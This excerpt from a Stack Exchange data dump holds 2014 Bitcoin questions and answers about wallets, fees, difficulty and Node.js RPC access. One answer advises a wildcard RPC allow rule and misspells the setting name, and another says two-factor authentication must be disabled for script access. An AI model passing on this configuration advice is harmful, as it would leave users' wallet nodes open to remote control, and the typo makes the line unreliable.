  <row Id="23404" PostTypeId="1" CreationDate="2014-03-12T07:00:04.903" Score="1" ViewCount="2183" Body="&lt;p&gt;Blockchain has great documentation for PHP, but nothing really for node!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone here have any projects,where they used the blockchain.info Receive Payments API, in their node apps, to receive money / check for confirmations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learn a lot better by viewing / recreating example code so any you have would help me out tons!&lt;/p&gt;&#xA;" OwnerUserId="14403" LastEditorUserId="1878" LastEditDate="2014-03-12T17:59:53.477" LastActivityDate="2021-05-04T10:38:25.950" Title="How do I use Blockchain.info's Receive Payments API with node JS / Express?" Tags="|development|api|blockchain.info|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23405" PostTypeId="1" AcceptedAnswerId="23407" CreationDate="2014-03-12T08:47:44.847" Score="6" ViewCount="6417" Body="&lt;p&gt;I can generate a bitcoin wallet at bitaddress.org, and I can verify that I have received payments at blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I want to send bitcoins from my wallet, I know only of 2 ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Bitcoin-Qt, which needs the blockchain.&lt;/li&gt;&#xA;&lt;li&gt;Use an online wallet, which essentially gives control over my wallet to someone else.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send bitcoins from my wallet without the blockchain, but at the same time, without giving access to my wallet to an outside server &lt;strong&gt;at any point&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10925" LastActivityDate="2014-03-15T12:42:27.483" Title="Sending bitcoins from wallet without downloading the blockchain or giving up control" Tags="|wallet|blockchain|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23406" PostTypeId="1" CreationDate="2014-03-12T08:57:14.583" Score="1" ViewCount="131" Body="&lt;p&gt;Why does Blockchain.info refer to &lt;a href=&quot;https://blockchain.info/tx/ff003a7ca895c3eb7148861ebb200551a310a71c99d50d5f69147969e91e08ee&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; transaction as &quot;low fee&quot;, when it has the normal fee? What is wrong with it? Its size is less than 1000 bytes, with a fee of 0.1 mBTC – yet, this transaction just got stuck?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please explain please what happened and why it got stuck?&lt;/p&gt;&#xA;" OwnerUserId="6770" LastEditorUserId="5406" LastEditDate="2014-03-12T23:26:42.167" LastActivityDate="2014-03-12T23:26:42.167" Title="Why is this transaction referred to as &quot;low fee&quot;?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23407" PostTypeId="2" ParentId="23405" CreationDate="2014-03-12T08:57:17.893" Score="8" Body="&lt;p&gt;You can use an SPV client such as &lt;a href=&quot;https://multibit.org/&quot;&gt;MultiBit&lt;/a&gt;. This does not need the whole blockchain, and does not give up control of your wallet.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-12T08:57:17.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23409" PostTypeId="2" ParentId="21939" CreationDate="2014-03-12T09:35:17.873" Score="1" Body="&lt;p&gt;Bitcoin-qt maintains a copy of the blockchain, which should be local for performance and trust reasons. It's not designed to have its copy of the blockchain stored on a remote server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the storage requirement is excessive for you, the solution is to use a lightweight client that does not require a copy of the blockchain, such as Electrum or Multibit.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-04-11T13:14:13.053" LastActivityDate="2014-04-11T13:14:13.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23411" PostTypeId="1" CreationDate="2014-03-12T10:03:58.027" Score="1" ViewCount="366" Body="&lt;p&gt;Let's say the current difficulty is set as finding a hash with 4 leading zeroes; once this is found, a block with this hash is propagated. Every client that receives this block checks that it has 4 leading zeroes and accepts this block as valid, adding it to their own chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the only information a miner sends out, when he solves his hash, is this block he has created (containing the solved hash and details of all the transactions that he used when creating the hash). This information, and only this information, then propagates to the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how does the &quot;central bitcoin server&quot;, or whatever it is, then propagates the change in difficulty every 2 weeks? Would it require everybody to update their client software to recognize that new blocks are only valid if they now have 5 leading zeroes, or is there some genius mechanism that I'm missing? On a side note, I don't really understand how forks are resolved; is this relevant to how this issue is dealt with?&lt;/p&gt;&#xA;" OwnerUserId="14405" LastEditorUserId="5406" LastEditDate="2016-04-24T09:21:55.633" LastActivityDate="2016-04-24T09:21:55.633" Title="How is the difficulty of bitcoin mining propagated?" Tags="|difficulty|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23412" PostTypeId="2" ParentId="23411" CreationDate="2014-03-12T10:52:13.463" Score="5" Body="&lt;p&gt;The difficulty is stored in the block in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;Bits&lt;/a&gt; field. When any server receives a block, one of the things it does is check if the value in this field is correct. If it's not a block where the difficulty changes, it must have the same difficulty as the previous block. If it's a block where the difficulty changes, then it must have the correct difficulty according to the well known Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;noreferrer&quot;&gt;difficulty&lt;/a&gt; adjusting algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &quot;central bitcoin server&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forks are resolved as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Blocks that are invalid are ignored. Only block chains consisting entirely of valid blocks are considered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The blockchain that would likely have taken the most effort to create (highest total difficulty) wins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-12T10:52:13.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23413" PostTypeId="1" CreationDate="2014-03-12T11:40:34.700" Score="0" ViewCount="428" Body="&lt;p&gt;MY bitcoind is on: &lt;code&gt;http://207.12.89.181/&lt;/code&gt; yet I cannot connect via any port, I've tried 8333 and 8332 any reason why? it's a ubuntu server. Im using that server to connect to from another server.&lt;/p&gt;&#xA;" OwnerUserId="14364" LastActivityDate="2014-03-12T13:59:56.410" Title="cannot connect via 8333 port on website" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23414" PostTypeId="1" AcceptedAnswerId="23420" CreationDate="2014-03-12T13:44:21.507" Score="9" ViewCount="12070" Body="&lt;p&gt;Wallets can be created offline, and transactions can be made to that completely offline wallet through by obtaining that wallet address. Now, when the guy owning the offline wallet goes online, his wallet will sync with the network and he will get his coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if the above is true, that means the transaction has been completed without the network actually knowing that such a wallet exists, and has been created by someone. The network will actually validate a transaction to a wallet that has never gone online before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if that wallet wasn't actually created? What if, while making the transaction, the sender accidentally misspelled the destination wallet address by changing a number or letter? If this happens, unless that same exact (misspelled) wallet address is created again (very unlikely) those bitcoins have gone poof. Nobody owns those bitcoins anymore, because they got transferred to a wallet that doesn't even exist. Those bitcoins have completely disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is probably too awesome for the above to happen. So what really happens?&lt;/p&gt;&#xA;" OwnerUserId="14308" LastActivityDate="2018-04-30T04:45:48.890" Title="What if a transaction is made to a wallet that doesn't exist?" Tags="|transactions|wallet|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23415" PostTypeId="2" ParentId="23400" CreationDate="2014-03-12T13:46:35.630" Score="2" Body="&lt;p&gt;Good questions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood the site's content correctly the answer to 2nd question is yes: At each distribution, each Icelander citizen will be given coins only once, so I guess one AUR-address per Kennitala ID is enforced somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part I'd like to know is how they're going to track which citizen has applied for which distribution: Should a lot of coins remain unclaimed from 1st airdrop, the total will be distributed again, and again, and finally (in case a lot of coins are still unclaimed) a bunch will be destroyed and the rest donated to a charity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a crypto-currency savvy Icelander could potentially apply for all 3 distributions, a less savvy might apply for just the last 2 or even just for the last one. And they'd all be using the same address each time. Unless they're using a centralized database, how to know which citizen has not applied for current distribution round?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A theoretically perfect airdrop should concern only with a citizen with a valid Kennitala, not on whence in the world they're connecting from, hope organizers are not using geolocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;POST EDIT&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people have tried to hack the airdrop system. So far, it seems the Facebook algorithm is &lt;a href=&quot;http://cryptolife.net/cheating-the-system-auroracoin-edition/&quot; rel=&quot;nofollow&quot;&gt;not so naïf&lt;/a&gt; as could be expected: as the activation via SMS to the citizen's registered cell-phone seemed much unlikelier to succeed, the blog's author grabbed a kennitölur number, located the full name and created a Facebook account ex-professo. It failed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be indeed possible to game the system as some Icelanders have complained in the forums of someone else receiving their coins. But then some others complain of the system rejecting them (false negative). Too bad most of the recipients are cashing right away, provoking the drop in prices currently seen. In the future, other national-economy-savior coins should take this into account and do something to void it.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="4748" LastEditDate="2014-04-05T17:52:32.467" LastActivityDate="2014-04-05T17:52:32.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23416" PostTypeId="2" ParentId="23413" CreationDate="2014-03-12T13:59:56.410" Score="1" Body="&lt;p&gt;You need to add the &lt;code&gt;rpcallowip&lt;/code&gt; setting to your &lt;code&gt;bitcoind.conf&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a single IP or allow all. for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rcpallowip=192.168.0.2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rcpallowip=*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2976" LastActivityDate="2014-03-12T13:59:56.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23417" PostTypeId="2" ParentId="23414" CreationDate="2014-03-12T14:33:33.983" Score="5" Body="&lt;p&gt;Bitcoin addresses have a built-in checksum. If a character is misspelled, this will result in an invalid address which does not correspond to any pubkeyhash, and thus cannot be sent to the network, so nothing will happen (and the user will be prompted to enter a correct address instead). So it is nearly impossible to &quot;accidentally&quot; send to an address for which nobody has a corresponding private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Specifically, the checksum is 32 bits which for all purposes are random, and thus the probability that a mistyped address will happen to be valid is one in 2^32, that is, about one in 4 billion.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, doing so purposefully is possible and will lead to destruction of the coins (at least until the relevant algorithms are broken). The most well-known address for which no private key is known is 1BitcoinEaterAddressDontSendf59kuE.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-03-12T17:03:54.820" LastActivityDate="2014-03-12T17:03:54.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23418" PostTypeId="1" CreationDate="2014-03-12T14:59:54.597" Score="1" ViewCount="43" Body="&lt;p&gt;I would like to start accepting bitcoin donations on behalf of a set of charities that don't accept it.  I'm thinking this may be a stepping stone to get them to accept bitcoin directly because they will see money coming in.  I don't want to take any fee or commission... just convert into fiat and pass 100% to the charities.  Does anyone have experience doing this?  Do I need permission from the charities?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-03-12T14:59:54.597" Title="Accept bitcoin on behalf of charity" Tags="|charity|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23419" PostTypeId="2" ParentId="18461" CreationDate="2014-03-12T15:15:00.570" Score="5" Body="&lt;p&gt;It is in the works. &lt;em&gt;Mastering Bitcoin&lt;/em&gt; by Andreas M. Antonopoulos&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinbook.info/&quot;&gt;http://bitcoinbook.info/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-03-12T15:15:00.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23420" PostTypeId="2" ParentId="23414" CreationDate="2014-03-12T15:15:52.047" Score="16" Body="&lt;p&gt;This seems to be a few related questions in one, so I will try to rephrase them individually and answer each one separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it is important to understand that a &lt;strong&gt;wallet&lt;/strong&gt; is just a place to keep bitcoin &lt;strong&gt;addresses&lt;/strong&gt;, in the same way that a leather wallet is just a place to keep cards and notes. Bitcoin amounts are sent to an &lt;strong&gt;address&lt;/strong&gt;, not to a wallet. A wallet may contain many addresses, but a transaction output sends to one specific address. So all my answers will refer to an address, not a wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions raised:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Can an amount be sent to an address that the network is unaware of?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes. An amount can be sent to any address, regardless of whether that address has been seen before. A transaction tells the network which address to take an amount from, and which address to send it to. The address to take an amount from must contain at least that amount, or the transaction will be rejected. There is no requirement on the destination address. Even if it has never before been seen by the network the transaction will still be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. What if the destination address has not been created?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address has not been created the network will have no way of knowing this. The amount will still be moved. However, since no one has a private key for this address, no one can ever spend the amount held at this address. The amount is lost forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. What if the sender misspelled the destination address?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is unlikely to happen due to a typo, since a bitcoin address has built in error checking. Changing one letter or number in a valid bitcoin address will not give a different valid bitcoin address. The mistyped address will be invalid and your wallet software should recognise this and refuse to send the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Bitcoin is probably too awesome for the above to happen, so what really happens?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Built in error checking makes it very unlikely that someone would accidentally send an amount to the wrong destination &lt;strong&gt;due to a typo&lt;/strong&gt;. However, it is perfectly possible to lose money through other types of accident. If you accidentally type in the &lt;em&gt;valid&lt;/em&gt; bitcoin address of the &lt;em&gt;wrong person&lt;/em&gt;, the amount will be sent successfully but not to where you intended. Bitcoin transactions are not reversible. Sending to the wrong person cannot be undone. If they choose to they may return the amount to you, but you cannot force this. It is also possible to send an amount to an address that you thought you had the private key for, only to later realise the private key has been lost. Sending to an address for which the private key has been lost means the amount is permanently lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more technical detail please see &lt;a href=&quot;https://bitcoin.stackexchange.com/a/23417/14410&quot;&gt;Meni's&lt;/a&gt; answer.&lt;/p&gt;&#xA;" OwnerUserId="14410" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-03-16T10:52:46.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23421" PostTypeId="1" CreationDate="2014-03-12T15:26:50.560" Score="2" ViewCount="834" Body="&lt;p&gt;All I want is to determine whether a given address has ANY activity on the blockchain.  I've seen projects like bitcoin-abe, which might work, but I wondered if there were a simpler way than using abe, or using a web service (I'll be querying too much for this option)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts welcome and appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13579" LastActivityDate="2014-03-12T16:19:46.690" Title="What is the fastest way to determine whether an address exists on the blockchain?" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23422" PostTypeId="1" AcceptedAnswerId="23427" CreationDate="2014-03-12T15:54:43.847" Score="1" ViewCount="249" Body="&lt;p&gt;So I'm in the process of implementing a BTC-based payment module where for every transaction to a non-wallet account a fraction of the amount will end up to a charity account in a external wallet not controlled by this module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A typical round for that would be:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The module receives the payment from user&lt;/li&gt;&#xA;&lt;li&gt;It forwards the 90% (this percentage is arbitary) of the amount to its final destination (e.g. a merchant)&lt;/li&gt;&#xA;&lt;li&gt;It now has to forward the remaining 10% to the charity of the user's choice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In a lower level, the system:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Receives a transaction &lt;code&gt;TxFromUser&lt;/code&gt; from the user with an amount of &lt;code&gt;X&lt;/code&gt; BTC&lt;/li&gt;&#xA;&lt;li&gt;Waits until it gets 6 confirmations&lt;/li&gt;&#xA;&lt;li&gt;Creates a new raw transaction, &lt;code&gt;TxToMerchant&lt;/code&gt; to forward the payment to the merchant&lt;/li&gt;&#xA;&lt;li&gt;Creates another raw transaction &lt;code&gt;TxToCharity&lt;/code&gt; to forward the donation to the charity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Going a bit deeper:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TxToMerchant:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create new raw transaction&lt;/li&gt;&#xA;&lt;li&gt;Add new input: &lt;code&gt;TxFromUser&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add new output: Address: &lt;code&gt;Merchant's address&lt;/code&gt;, Amount: 0.9 * TxFromUser.Amount&lt;/li&gt;&#xA;&lt;li&gt;Add new output: Address: &lt;code&gt;Module's own wallet address&lt;/code&gt;, Amount: 0.1 * TxFromUser.Amount&lt;/li&gt;&#xA;&lt;li&gt;Calculate the fee for this transaction&lt;/li&gt;&#xA;&lt;li&gt;Subtract the fee from the second output's amount&lt;/li&gt;&#xA;&lt;li&gt;Create the transaction's hex and sign it with the right key&lt;/li&gt;&#xA;&lt;li&gt;Send the transaction and get its id: &lt;code&gt;TxToMerchant.Id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TxToCharity:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wait for the above transaction (TxToMerchant) to get confirmed&lt;/li&gt;&#xA;&lt;li&gt;Create a new raw transaction&lt;/li&gt;&#xA;&lt;li&gt;Add new input: &lt;code&gt;TxToMerchant&lt;/code&gt; (this will be the change we asked for above)&lt;/li&gt;&#xA;&lt;li&gt;Add new output: Address: &lt;code&gt;Charity's address&lt;/code&gt;, Amount: TxToMerchant.Amount = 0.1 * TxFromUser.Amount&lt;/li&gt;&#xA;&lt;li&gt;Calculate the fee for this transaction&lt;/li&gt;&#xA;&lt;li&gt;Subtract the fee from transaction's output amount&lt;/li&gt;&#xA;&lt;li&gt;Create the transaction's hex and sign it with the right key&lt;/li&gt;&#xA;&lt;li&gt;Send the transaction and get its id: &lt;code&gt;TxToCharity.Id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am aware of the fact that I could merge these two transactions (TxToMerchant and TxToCharity) into a single transaction, however for various reasons (business requirement) let's just say that this is not possible at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have with the above implementation is this: waiting for the &lt;code&gt;TxToMerchant&lt;/code&gt; to confirm creates a lag, as I cannot forward the payment to the charity &lt;code&gt;TxToCharity&lt;/code&gt; until &lt;code&gt;TxToMerchant&lt;/code&gt; is confirmed (or can I, without having to worry about transaction malleability etc?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, when the time comes to add the &lt;code&gt;TxToCharity&lt;/code&gt;'s input I have to keep track of how the change was returned in &lt;code&gt;TxToMerchant&lt;/code&gt; and then get the right unspent transaction (where listunspent.txid = TxToMerchant.Id), is there a more efficient and less error-prone way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's suppose that the user wants to split the payment between 2 merchants (or a merchant and a freight service, which makes more sense), so in the above example there would be 1 more transaction like &lt;code&gt;TxToMerchant&lt;/code&gt;, let's call it &lt;code&gt;TxToFreightService&lt;/code&gt;. Let's say now that &lt;code&gt;TxToMerchant&lt;/code&gt; goes trough well and gets confirmed but &lt;code&gt;TxToFreightService&lt;/code&gt; fails and never gets confirmed because the input used for it was a double-spend regardless the 6 confirmations we got (for its input) before processing it. &lt;code&gt;TxToCharity&lt;/code&gt; depends on &lt;code&gt;TxToFreightService&lt;/code&gt; because the requested change in &lt;code&gt;TxToFreightService&lt;/code&gt; will serve as the input to &lt;code&gt;TxToCharity&lt;/code&gt;. How do I deal with this scenario programmatically without having to perform corrections by hand every single time this happens?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="14319" LastEditDate="2014-03-12T16:58:59.953" LastActivityDate="2014-03-12T18:32:22.967" Title="Correlated raw transactions' input/output chaining" Tags="|transactions|raw-transaction|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23423" PostTypeId="2" ParentId="23406" CreationDate="2014-03-12T16:03:04.150" Score="3" Body="&lt;p&gt;It is 1343 bytes, larger than 1000 bytes, so you should have paid 0.2mBTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have too many inputs in this transactions. If you had used a compressed public key, you might be able to save some bytes and shrink the transaction size down to under 1kB.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-12T16:03:04.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23424" PostTypeId="2" ParentId="23421" CreationDate="2014-03-12T16:19:46.690" Score="3" Body="&lt;p&gt;&lt;strong&gt;Using local blockchain.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are prepared to keep an up to date copy of the blockchain yourself (or if you already do) then I would expect it to be quicker to check locally yourself than to use a web service (which you seem to have decided for yourself already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using list of distinct addresses present on the blockchain.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are only looking for a True or False answer to the question &quot;is this address present in the blockchain?&quot; you could achieve faster responses by keeping an up to date list of distinct addresses rather than search the whole blockchain. Once the list is complete keeping it up to date only requires adding those addresses present in the latest block - a small task roughly every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using list of abbreviated addresses.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your purpose permits a margin of error then you could improve speed further by using only the first n characters of the bitcoin address. Maintain an up to date list of distinct abbreviated length n addresses and abbreviate the candidate address to n characters before looking it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you require very accurate results, using only half the characters in a bitcoin address will still give almost 100% accuracy, while giving a significant speed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Discounting most recent blocks.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need the most up to date information you could reduce the work required for keeping your abbreviated address list up to date. Only considering blocks more than m blocks deep will reduce the amount of redundant updates due to blocks that are later orphaned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The improvements in speed described here will be irrelevant for most purposes unless you are processing a huge number of candidate addresses per second, but your question hints that you may be, for at least some of the time.&lt;/p&gt;&#xA;" OwnerUserId="14410" LastActivityDate="2014-03-12T16:19:46.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23425" PostTypeId="2" ParentId="23404" CreationDate="2014-03-12T17:35:06.440" Score="1" Body="&lt;p&gt;I'm working on something like this now. I do not have a complete implementation built yet, so please bear with me for any errors or troubles that might arise. However, this might help get you on your feet...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started by installing &lt;code&gt;bitcoind&lt;/code&gt; and setting it up as a client which Node.js can interact with the Blockchain through. I did this by setting up &lt;code&gt;bitcoin.conf&lt;/code&gt; with my Blockchain information and starting &lt;code&gt;bitcoind&lt;/code&gt; in a screen. Take a look at this page for information on connecting bitcoind with your Blockchain account: &lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/json_rpc_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need middleware for Nodejs to interact with Blockchain through bitcoind. Here's the one Blockchain links to: &lt;a href=&quot;https://github.com/jb55/node-bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jb55/node-bitcoin&lt;/a&gt; can be simply installed with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;npm install bitcoin&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The readme file on this Git provides information and code snippits you can use to connect Nodejs with Blockchain. Node connects to your local bitcoin server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var bitcoin = require('bitcoin');&#xA;var client = new bitcoin.Client('localhost', 8332, 'username', 'password');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node gets the balance of all your addresses, with at least 6 confirmations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;client.getBalance('*', 6, function(err, balance) {&#xA;  if (err) return console.log(err);&#xA;  console.log('Balance:', balance);&#xA;});&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of all the possible Blockchain API requests: en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use these functions to create and destroy wallet addresses, check their balances, as well as send funds from your script if you so desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking briefly about security, double encryption is recommended and can be enabled in the Blockchain My Wallet 'Account Details' page. This means each address has it's own access password, on top of the master wallet password. Simple operations such as fetching a balance do not require both passwords to be sent, but sending funds would require Node to send both the master and wallet passwords. If you're using a server with a static IP, you can also use the 'IP Lock' setting in Blockchain to restrict access to outsiders. Gotcha: two-factor authorization must be disabled on your Blockchain wallet to allow access from your script.&lt;/p&gt;&#xA;" OwnerUserId="14351" LastEditorUserId="14351" LastEditDate="2014-03-14T12:32:24.670" LastActivityDate="2014-03-14T12:32:24.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23426" PostTypeId="2" ParentId="336" CreationDate="2014-03-12T18:24:17.763" Score="3" Body="&lt;p&gt;For non-technical users, I found this video to be extremely clear and helpful in explaining the details of how Bitcoin works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=Lx9zgZCMqXE&quot; rel=&quot;nofollow&quot;&gt;How Bitcoin Works Under the Hood&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14307" LastActivityDate="2014-03-12T18:24:17.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23427" PostTypeId="2" ParentId="23422" CreationDate="2014-03-12T18:32:22.967" Score="2" Body="&lt;p&gt;I think your business process is confusing the issue. I'm going to assume that the &quot;business&quot; side of this also wants to take a cut of the transaction or it wants to delay paying the charity and that is why this has become more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of considerations not least the fact that you are using one input to pay the merchant, and the change to pay the freight, and the change of that to pay the charity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are concerned about is the &lt;em&gt;inability&lt;/em&gt; that you have built-in to pay the one party because of a preceding ttransaction, but that's your business process at fault not the Bitcoin protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also consider the minimum payment amount and the eventual network fee, neither of which are %age based. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are not mentioned and in fact by making two (or possibly four) transactions you are incurring up to 4x the bitcoin network transaction fees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the main reasons why (from a business perspective) you should not split the transactions up ie it is more expensive and who is going to wear the costs? The charity? the merchant? the freight? You?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I suggest also that you have misunderstood the &quot;confirmations&quot; as something other than your transaction being included in a block. When a transaction is requested by a peer prior to it being included in a block - the peer validates the transaction independently, and if for any reason it is not good it is rejected. This is NOT the process of &quot;confirmation&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All peers in effect will do the same validation to your transaction as it propagates through the network (which BTW is extremely fast). 